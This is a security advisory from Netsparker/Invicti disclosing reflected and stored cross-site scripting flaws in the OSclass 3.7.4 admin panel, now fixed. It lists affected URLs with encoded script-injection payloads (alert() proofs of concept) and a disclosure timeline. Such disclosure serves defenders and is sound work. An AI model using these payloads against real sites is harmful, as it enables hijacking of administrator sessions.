Multiple Cross-site Scripting Vulnerabilities in OSclass 3.7.4

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in OSclass 3.7.4
Affected Software: OSclass
Affected Versions: 3.7.4
Homepage: https://osclass.org/
Vulnerability: Reflected Cross-site Scripting, Stored Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: – 2018-14481
CVSS Score (3.0):
   Reflected XSS : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
   Stored XSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-029

Technical Details

URL: /oc-admin/index.php/x?page=items&iDisplayLengthx%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1
Parameter Name: iDisplayLength
Parameter Type: GET
Attack Pattern: x%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1

URL: /oc-admin/index.php?page=items&action=items_reported&id[]=&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005A81)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x005A81)</scRipt>

URL: /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005707)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x005707)</scRipt>

URL: /oc-admin/index.php?page=items&action=items_reported&sort=spam&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042C1)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0042C1)</scRipt>

URL: /oc-admin/index.php?page=items&iDisplayLength=10&sSearch=&user=&userId=&itemId=&shortcut-filter=oPattern&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007CE4)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x007CE4)</scRipt>

URL: /oc-admin/index.php?page=items&action=items_reported&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001372)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001372)</scRipt>

URL: /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x002945)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002945)</scRipt>

URL: /oc-admin/index.php?page=items&action=items_reported&sort=spam&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001381)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001381)</scRipt>

URL: /oc-admin/index.php?page=items&iDisplayLength=10&sort=date&direction=desc&sSearch=&countryName=&countryId=&region=&regionId=&city=&cityId=&user=&userId=&catId=5&b_premium=1&b_active=1&b_enabled=3&b_spam=1&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042E7)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0042E7)</scRipt>

URL: /oc-admin/index.php?page=plugins&action=delete&CSRFName={CRSF_NAME}&CSRFToken=CRSF_TOKEN}&plugin=&iDisplayLength=10&'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075A6)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0075A6)</scRipt>

Note: This vulnerability don’t exploit by CSRFName parameter and CSRFToken parameter.  

URL: /oc-admin/index.php?page=plugins&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0078C1)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0078C1)</scRipt>

URL: /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004028)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x004028)</scRipt>

URL: /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007BDC)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x007BDC)</scRipt>

Stored XSS

Injection Request

URL: /oc-admin/index.php?page=settings
Parameter Name: language
Parameter Type: POST
Attack Pattern: '+alert(0x007BDC)+'

Identification Request

URL: /oc-admin/index.php?page=settings

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

11th April 2018 – First Contact
16th July 2018 – Vendor Fixed
4th December 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.